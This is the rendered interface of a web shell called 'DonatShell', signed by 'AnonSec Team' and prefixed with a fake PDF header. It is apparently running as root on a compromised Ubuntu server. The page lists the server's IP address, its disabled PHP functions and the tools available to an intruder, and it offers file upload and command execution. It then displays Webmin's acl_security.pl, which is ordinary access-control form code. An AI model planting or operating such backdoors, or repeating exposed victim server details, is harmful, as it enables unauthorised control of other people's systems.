%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/acl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/acl/acl_security.pl
use strict;
use warnings;
no warnings 'redefine';
no warnings 'uninitialized';
do 'acl-lib.pl';
our (%text, %in);

# acl_security_form(&options)
# Output HTML for editing security options for the acl module
sub acl_security_form
{
my ($o) = @_;

print &ui_table_row($text{'acl_users'},
	&ui_radio("users_def", $o->{'users'} eq '*' ? 1 :
			       $o->{'users'} eq '~' ? 2 : 0,
		  [ [ 1, $text{'acl_uall'} ],
		    [ 2, $text{'acl_uthis'}."<br>" ],
		    [ 0, $text{'acl_usel'} ] ])."<br>\n".
	&ui_select("users", [ split(/\s+/, $o->{'users'}) ],
		   [ (map { $_->{'name'} } &list_users()),
		     (map { [ '_'.$_->{'name'},
			      &text('acl_gr', $_->{'name'}) ] }
			  &list_groups()) ],
		   6, 1));

print &ui_table_row($text{'acl_mods'},
	&ui_radio("mode", $o->{'mode'},
		  [ [ 0, $text{'acl_all'} ],
		    [ 1, $text{'acl_own'}."<br>" ],
		    [ 2, $text{'acl_sel'}."<br>" ] ]).
	&ui_select("mods", [ split(/\s+/, $o->{'mods'}) ],
		   [ map { [ $_->{'dir'}, $_->{'desc'} ] }
			 &list_module_infos() ],
		   6, 1));

foreach my $f (&list_acl_yesno_fields()) {
	print &ui_table_row($text{'acl_'.$f},
		&ui_yesno_radio($f, $o->{$f}));
	}

print &ui_table_hr();

print &ui_table_row($text{'acl_groups'},
	&ui_yesno_radio("groups", $o->{'groups'}));

print &ui_table_row($text{'acl_gassign'},
	&ui_radio("gassign_def", $o->{'gassign'} eq '*' ? 1 : 0,
		  [ [ 1, $text{'acl_gall'} ],
		    [ 0, $text{'acl_gsel'} ] ])."<br>\n".
	&ui_select("gassign", [ split(/\s+/, $o->{'gassign'}) ],
		   [ map { $_->{'name'} } &list_groups() ],
		   6, 1));
}

# acl_security_save(&options)
# Parse the form for security options for the acl module
sub acl_security_save
{
my ($o) = @_;
if ($in{'users_def'} == 1) {
	$o->{'users'} = '*';
	}
elsif ($in{'users_def'} == 2) {
	$o->{'users'} = '~';
	}
else {
	$o->{'users'} = join(" ", split(/\0/, $in{'users'}));
	}
$o->{'mode'} = $in{'mode'};
$o->{'mods'} = $in{'mode'} == 2 ? join(" ", split(/\0/, $in{'mods'}))
				   : undef;
foreach my $f (&list_acl_yesno_fields()) {
	$o->{$f} = $in{$f};
	}
$o->{'groups'} = $in{'groups'};
$o->{'gassign'} = $in{'gassign_def'} ? '*' :
		     join(" ", split(/\0/, $in{'gassign'}));
}

sub list_acl_yesno_fields
{
return ('create', 'delete', 'rename', 'acl', 'cert', 'others', 'chcert',
	'lang', 'locale', 'cats', 'theme', 'ips', 'perms', 'sync', 'unix', 'sessions',
	'switch', 'times', 'pass', 'sql');
}

Anon7 - 2022
AnonSec Team